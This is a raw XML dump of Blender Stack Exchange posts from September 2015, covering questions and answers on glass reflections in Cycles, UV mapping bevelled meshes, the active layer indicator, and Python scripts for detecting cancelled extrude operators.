  <row Id="36951" PostTypeId="2" ParentId="36884" CreationDate="2015-09-03T12:26:13.797" Score="12" Body="&lt;h2&gt;Yes&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where are that reflections coming from?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not from the &lt;em&gt;chocolate&lt;/em&gt; material. While in your modeling there is actually a small gap between the mousse and the glass cup (this mess up IOR calculation, but that's another story...) that would surely create additional reflections, those are not caused by that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make the &lt;em&gt;chocolate&lt;/em&gt; object completely diffusive (or delete it), you'll se that the effect is still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ORKNJ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORKNJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's erase the object, leaving only the cup and put a small red ring near the base of the cup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZemYz.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZemYz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We see that on each stripe (reflectons) is coloured by the red ring. This means that the light travel through the glass object with the path (more or less, I'm not an expert of optics) that is highlited in the image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sW0oq.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sW0oq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how cutting away the half of the ring that is &lt;strong&gt;behind&lt;/strong&gt; the glass make the red stripes disappear. This is because the reflex is just what the faces (opposite to the camera) of the glass cup base are pointing to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's put a small object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IjLMM.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IjLMM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right, inside the black circles there is a small green spot. By maginifing the image we'll see...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SEE21.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SEE21.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Suzanne!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite sure it is upside down, as when you look yourself in a spoon... we can run another test by pushing the lower faces of the base behind the plane surface. So the ray will hit a diffuse shader and should reflect nothing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gs4zO.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gs4zO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d3WTK.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d3WTK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why there are so many?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because for each camera ray the light path is slightely different due to the different incident starting angle. At the end of the path they are probably &quot;diverging&quot;, so in a small portion you'll be able to see (distorted) the whole surrounding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FzRg0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FzRg0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a physically based effect?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes it is. You can see it in glasses with a &lt;strong&gt;thick base&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison between two different angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mqn14.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqn14.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why choosing &quot;Limited Global illumination&quot; instead of &quot;Full Global Illumination&quot; don't show them?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Limited Global Illumination has lower number of &quot;Max&quot; &amp;amp; &quot;Glossy&quot; samples. That factor is ruling after of many light bounces the simulation is stopped. If they are set to a value lower than the noumber of bounces that the light need to travel to get out of the glass, you'll not see any full reflex from that ray. There would maybe some light path that would be able to get out of the glass even with few bounces, but increasing the values, would give higher chances, so it is more likely to se lot of reflexs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect is phisically based. Full Global Illumination's setting  as espected helps in making the scene to look more  realistic, as it takes in account more bounces.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestions&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some materials who use the &quot;Add Shader&quot; node that isn't energy conservative, so it can lead to non stichtly-physically based behaviours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a fluid is stiched to the walls of a glass container, it is better to deal with interfaces as the link in my comment shows to get a &quot;true&quot; IOR effect. Notice that with that method, you'll also will get rid of the reflections, as the light is reflected (as in real life) towards the mousse, instead of bouncing all around trought the glass volume:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7lZiM.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7lZiM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-03T15:21:44.940" LastActivityDate="2015-09-03T15:21:44.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36952" PostTypeId="1" CreationDate="2015-09-03T12:35:29.103" Score="3" ViewCount="916" Body="&lt;p&gt;I have used Blender regularly for years and don't consider myself a newbie by any means. But I have no idea if there is any way to tell what the &lt;strong&gt;active&lt;/strong&gt; layer is. When creating a new object, linking in an instance from another .blend, etc. the new item will be placed on the &lt;strong&gt;active&lt;/strong&gt; layer. But, as far as I know, there is no way to know which layer that is by looking at the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got the little circles in the Layers panel indicating levels containing objects. And we've got the highlighted circle that shows which layer the selected object resides on. But nothing that shows what the &lt;strong&gt;active&lt;/strong&gt; layer is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I been missing something obvious all these years?&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2015-09-06T07:53:12.910" Title="Active Layer Indicator" Tags="&lt;layers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36953" PostTypeId="2" ParentId="36949" CreationDate="2015-09-03T12:51:36.167" Score="4" Body="&lt;p&gt;You can achieve this by using &lt;a href=&quot;https://i.stack.imgur.com/BfbDL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;render layers&lt;/a&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BfbDL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BfbDL.jpg&quot; alt=&quot;Object ID and Transparent color&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Give the cube a &lt;a href=&quot;https://blender.stackexchange.com/questions/5350/how-to-make-an-object-completely-transparent&quot;&gt;transparent material&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Give each object a different object index for masking with the &lt;a href=&quot;https://blender.stackexchange.com/questions/3423/how-to-use-an-object-as-a-mask&quot;&gt;object ID mask&lt;/a&gt; in the node editor (Properties Window --&gt; Object tab --&gt; Relations --&gt; Pass Index).&lt;/li&gt;&#xA;&lt;li&gt;Render, go to the node editor and set up a node tree as in the attached image or &lt;a href=&quot;http://www.pasteall.org/blend/37840&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-09-03T14:37:43.883" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36954" PostTypeId="2" ParentId="36952" CreationDate="2015-09-03T12:58:48.543" Score="5" Body="&lt;p&gt;the outliner does show it, and it corresponds with &lt;code&gt;bpy.context.scene.active_layer&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8wPHw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wPHw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-09-03T12:58:48.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36956" PostTypeId="1" AcceptedAnswerId="36970" CreationDate="2015-09-03T13:37:42.220" Score="1" ViewCount="4213" Body="&lt;p&gt;I am trying to UV map a wing but whenever I apply the texture, it completely bugs out. This is the second time I've modeled it so its not like the original file was corrupted or anything. Scale is at 1,1,1. As you can see from the pictures, I used bevels to make the shape. Any help is appreciated. Thanks.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1Qnkb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Qnkb.png&quot; alt=&quot;Bugged out texture&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/B1d7C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B1d7C.png&quot; alt=&quot;UV map&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16879" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-03T17:11:11.060" Title="How to UV map complicated bevels" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;&lt;modifiers&gt;&lt;image&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36957" PostTypeId="1" CreationDate="2015-09-03T13:48:48.800" Score="1" ViewCount="115" Body="&lt;p&gt;I am trying to simply change some preferences, but each time I click on &quot;User Preferences&quot;, Blender just turns itself off. I can't make any adjustments, and am missing out on functionality as a result. Could you help me understand why this is happening and what to do, as I have attempted to uninstall and reinstall Blender several times to avoid this problem, but have been unsuccessful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="16881" LastActivityDate="2015-09-03T14:34:47.540" Title="Preferences Shuts Down Blender" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-03T17:08:53.670" ContentLicense="CC BY-SA 3.0" />
  <row Id="36958" PostTypeId="2" ParentId="36940" CreationDate="2015-09-03T13:53:32.437" Score="1" Body="&lt;p&gt;You could pack the Blender file before giving it away.  Packing basically copies all the external files which the .blend file refers into into the .blend itself.  To pack external files go to &lt;em&gt;file&lt;/em&gt; &gt; &lt;em&gt;external data&lt;/em&gt; &gt; &lt;em&gt;pack all into .blend.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7MbCb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MbCb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-09-03T13:53:32.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36959" PostTypeId="1" CreationDate="2015-09-03T13:56:01.820" Score="3" ViewCount="496" Body="&lt;p&gt;An issue that I've noticed while working on models for a specific game engine, is that when using exporting FBX models or BVH data comes the fact that you have two different rotations formats, with both being Euler: You have either just Lcl Rotations or a set of three rotations, Pre Rotation/ Rotation /Post Rotation (Pre/Post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender takes these account when Importing FBX Models but it doesn't add the opportunity to add them back in when exporting: This is what I think has been causing many of the issues with cross-suite animations not working within games (animation done in one app, while blender user for modeling, or vice versa)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Id like to improve the FBX exporter in Blender to allow for Pre and Post rotation values would be applied to the exported model, so that it would behave like exporting in Maya. Currently It does not seem to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've gathered they are rotations that are in order added to each other to get the final rotation, and must have something to do with the order how rotations done in every other 3D app and Engine, except Blender (blender seems to be using quaternions behind the scene if I understand correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However to do that Id need to know some math on this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How would I go on converting Quaternions into Pre Rotation, Rotation and Post Rotation?&lt;/strong&gt; I can implement the rest into the fbx export script for experiment.&lt;/p&gt;&#xA;" OwnerUserId="16880" LastActivityDate="2015-09-03T13:56:01.820" Title="Scripts: Converting Quaternions to Pre/Post Rotations" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mathematics&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36960" PostTypeId="1" AcceptedAnswerId="36968" CreationDate="2015-09-03T14:09:10.723" Score="2" ViewCount="942" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75a_release/bpy.ops.mesh.html?highlight=bpy.ops.mesh.extrude_region_move#bpy.ops.mesh.extrude_region_move&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.mesh.extrude_region_move&lt;/code&gt;&lt;/a&gt; to extrude a selected region along their averaged normal. I don't set the &lt;strong&gt;value&lt;/strong&gt;-component of &lt;code&gt;TRANSFORM_OT_translate&lt;/code&gt;, so the operator is modal. The return-value of the operator is not &lt;code&gt;{'CANCELLED'}&lt;/code&gt; or &lt;code&gt;{'FINISHED'}&lt;/code&gt; it's &lt;code&gt;{'RUNNING_MODAL'}&lt;/code&gt;.&#xA;The user can accept the extrusion with enter or cancel it via esc (normal behaviour of that operator). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blender-addon needs to know if the user has accepted a extrusion or if it was cancelled (The addon stores the face-ids of a selected region. If the user now extrudes the face ids are recreated. Therefore I need to update the stored face-ids. But I need to know 'when').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can find out if the &lt;code&gt;extrude_region_move&lt;/code&gt; was cancelled/not cancelled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="3710" LastEditDate="2015-09-03T15:50:04.993" LastActivityDate="2015-09-03T18:07:19.723" Title="Find out if Mesh Operator (bpy.ops.mesh...) was cancelled or not via python" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36961" PostTypeId="2" ParentId="36957" CreationDate="2015-09-03T14:34:47.540" Score="0" Body="&lt;p&gt;You probably have outdated drivers, please try updating your drivers, or you could try going into user preferences by changing 3d view-port window to user preferences&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-09-03T14:34:47.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36962" PostTypeId="1" AcceptedAnswerId="36967" CreationDate="2015-09-03T15:37:39.317" Score="0" ViewCount="364" Body="&lt;p&gt;Help me please I need to pass this work tomorrow &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with my work? I want that if the character collides with the obs or walls the game would restart but somehow it's not working.&#xA;Here is the file : &lt;a href=&quot;http://www.pasteall.org/blend/37842&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37842&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2022" LastEditorUserId="2022" LastEditDate="2015-09-03T15:49:44.820" LastActivityDate="2015-09-03T16:25:54.453" Title="Collision not working" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36964" PostTypeId="1" CreationDate="2015-09-03T16:06:42.927" Score="2" ViewCount="817" Body="&lt;p&gt;I'm making an fps game and I have a gun which I want to have a laser sight (similar to this: &lt;a href=&quot;https://imageshack.com/f/jxdscn2857sj&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://imageshack.com/f/jxdscn2857sj&lt;/a&gt;)&#xA;&lt;br&gt;&#xA;I've tried to do this using the logic editor but I realised I would most likely need to use python. So basically, is there a way - like in Unity - to get a point by raycasting? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image of what I want: &lt;a href=&quot;https://i.stack.imgur.com/xzPbR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzPbR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastEditorUserId="14916" LastEditDate="2015-09-04T15:16:45.130" LastActivityDate="2015-09-06T01:16:26.860" Title="Blender Game Engine: RayCast to get a point" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36967" PostTypeId="2" ParentId="36962" CreationDate="2015-09-03T16:25:54.453" Score="0" Body="&lt;p&gt;It seems the only way the player collides with the walls is because go that small white box. You could either get rid of the box and just use the character, or stretch the box upwards so it collides with the walls on top too, although this may be unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the restarting game properly work, you the game property called 'obs' should be set to boolean and 'True'. Also, delete the sensor for the collision with the property of 'prop'.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YWvcE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YWvcE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DW2jD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DW2jD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-09-03T16:25:54.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36968" PostTypeId="2" ParentId="36960" CreationDate="2015-09-03T16:30:00.583" Score="4" Body="&lt;p&gt;This looks at the TRANSFORM_OT_translate.value Vector as shown in the 'INFO' reports.  If the operator was cancelled it returns (0, 0, 0) else has a length.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;wm = bpy.context.window_manager&#xA;&#xA;print(&quot;TESTing Extrude Op&quot;)&#xA;for op in wm.operators:&#xA;    if op.bl_idname == 'MESH_OT_extrude_region_move':  #name == 'Extrude Region and Move'&#xA;        print(op.name, &quot;Found&quot;)&#xA;        v = op.macros['TRANSFORM_OT_translate'].properties.value&#xA;        if v.length:&#xA;            print(&quot;operator used&quot;)&#xA;        else:&#xA;            print(&quot;operator canceled&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2015-09-03T16:30:00.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36970" PostTypeId="2" ParentId="36956" CreationDate="2015-09-03T17:11:11.060" Score="1" Body="&lt;h2&gt;Unwrap final geometry, or split faces, or mark additional seams&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You are unwrapped a model, which means to assign to evry face (5 in your case) a portion of the UV space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By beveling the edges, your geometry doesn't have still 5 faces, but a bit more. The UV informations about those new faces are coming from an interpolations of the previous faces UV, so it may happen that not all of them are corrects (expecially when your UV is made by disjoined pieces) as in you case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X0vgy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X0vgy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition your geometry has some caharecteristics that make the effect come out. If it has been more compact on the X axis you would not have such distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ACDwC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ACDwC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Apply all modifers ( or converto to mesh your mesh... with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, or at least the ones that have more impact on the geometry, and THAN unwrap your geometry (Suggested if suitable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you need to keep the modifiers in your workflow you can try to disconnect the triangular faces. With vertex disjoined there will surely be no wrong interpolation between the triangular faces and the others (but you have to add additional vertex bevel modifiers to smooth the spikes..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Mark all edge as seams. In this way Blender will consider each face separately and it will not occour unexpected interpolation and your topology will remain clean. Anyway your UVs islands may result slightely overlapped or disjoined, so you'll have to re-unwrap in anycase, but at least you can &quot;preview&quot; the UV correctly without applying modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bv8TN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bv8TN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Za6b7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Za6b7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-09-03T17:11:11.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36971" PostTypeId="1" AcceptedAnswerId="36974" CreationDate="2015-09-03T17:36:03.187" Score="1" ViewCount="1777" Body="&lt;p&gt;When I toggle x-ray in Edit mode, only the orthographic views toggle. The perspective view constantly shows xray and it is super annoying. I see face handles (the square to select them) as well as edges and vertices through the faces just as if xray was on, but it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I turn it off so that while in Edit Mode, and with Solid display mode selected, I don't see through things as if xray mode is on?&#xA;Thanks&lt;img src=&quot;https://i.stack.imgur.com/uTutF.png&quot; alt=&quot;![enter image description here&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/uTutF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left: In Edit Mode&#xA;Right: In Object Mode&#xA;Basically I don't want to see the edges and face handles through the faces in front of them.&lt;/p&gt;&#xA;" OwnerUserId="16492" LastEditorUserId="16492" LastEditDate="2015-09-03T18:16:27.167" LastActivityDate="2015-09-03T18:42:17.503" Title="Why does perspective always have xray on?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-09-04T03:08:31.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="36972" PostTypeId="2" ParentId="36960" CreationDate="2015-09-03T18:07:19.723" Score="1" Body="&lt;p&gt;@batFinger's Solution was correct. I only want to present my solution because I also used a Timer to check every half second if the Operator is in the &lt;code&gt;wm.operators&lt;/code&gt; list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;        bpy.ops.mesh.extrude_region_move('INVOKE_REGION_WIN',&#xA;                     TRANSFORM_OT_translate={&#xA;                        &quot;constraint_orientation&quot;: 'NORMAL',&#xA;                        &quot;constraint_axis&quot;: (False, False, True)})&#xA;&#xA;        wm = bpy.context.window_manager&#xA;        ob = bpy.context.active_object&#xA;        lastLen = len(wm.operators)&#xA;        from threading import Timer&#xA;&#xA;        def checkExtrudeOperator():&#xA;            #print(&quot;Things are being done&quot;)&#xA;            wm = bpy.context.window_manager&#xA;            indexoflastoperator = len(wm.operators)&#xA;            if indexoflastoperator &amp;gt; 0 and indexoflastoperator &amp;gt; lastLen:&#xA;                lastoperator = wm.operators.items()[indexoflastoperator -1]&#xA;                op = lastoperator[1] # get the TRANSFORM_OT_translate&#xA;                if op.bl_idname == 'MESH_OT_extrude_region_move':&#xA;                    v = op.macros['TRANSFORM_OT_translate'].properties.value&#xA;                    if v.length:&#xA;                        #we need to get new face ids&#xA;                        bm = bmesh.from_edit_mesh(ob.data)&#xA;                        region = bpy.context.scene.plator_custom[bpy.context.scene.plator_custom_index]&#xA;                        region.face_ids = &quot;&quot;&#xA;                        for face in bm.faces:&#xA;                            if face.select:&#xA;                                region.face_ids = region.face_ids + &quot;;&quot; + str(face.index)&#xA;                        print(&quot;operator used&quot;)&#xA;                        return&#xA;                    else:&#xA;&#xA;                        print(&quot;operator canceled&quot;)&#xA;                        return&#xA;                        # we don't need to get new face ids&#xA;            # if operator not found, call checkExtrudeOperator in 0.5 seconds              &#xA;            t = Timer(0.5, checkExtrudeOperator)  # every 0.5 seconds, which should be fast enough before the User does something more (and the new face-ids aren't stored) but isn't that fast to make blender slow.&#xA;            t.start()&#xA;&#xA;        t = Timer(0.5, checkExtrudeOperator)  # every 0.5 seconds, which should be fast enough before the User does something more (and the new face-ids aren't stored) but isn't that fast to make blender slow.&#xA;        t.start()&#xA;&#xA;        return{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I found out that blender is not only adding new face-ids but it also recalculates the face-ids of old faces... So the whole way of storing face-ids for 'later' isn't working anymore :-(&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-09-03T18:07:19.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36973" PostTypeId="1" AcceptedAnswerId="36978" CreationDate="2015-09-03T18:17:26.210" Score="0" ViewCount="231" Body="&lt;p&gt;I am writing a procedural planet generation addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be nice to give the user the ability to create continents. He can create a continent, give it a name and add some faces to it (via selection). The addon is storing the face-indices of the current selected faces. If a user selects a continent in the gui the corresponding faces are selected, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I found out (via extrude operator, &lt;a href=&quot;https://blender.stackexchange.com/questions/36960/find-out-if-mesh-operator-bpy-ops-mesh-was-cancelled-or-not-via-python&quot;&gt;Find out if Mesh Operator (bpy.ops.mesh...) was cancelled or not via python&lt;/a&gt;) that blender sometimes recalculates the index of old faces. That is destroying my addon and the way I store the continents (remeber: face-indices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force blender to only add new face-indices for the newly created faces and leave the old faces alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-09-03T19:04:20.513" Title="How to get Blender to add new face-ids but not recalculate old face-ids?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
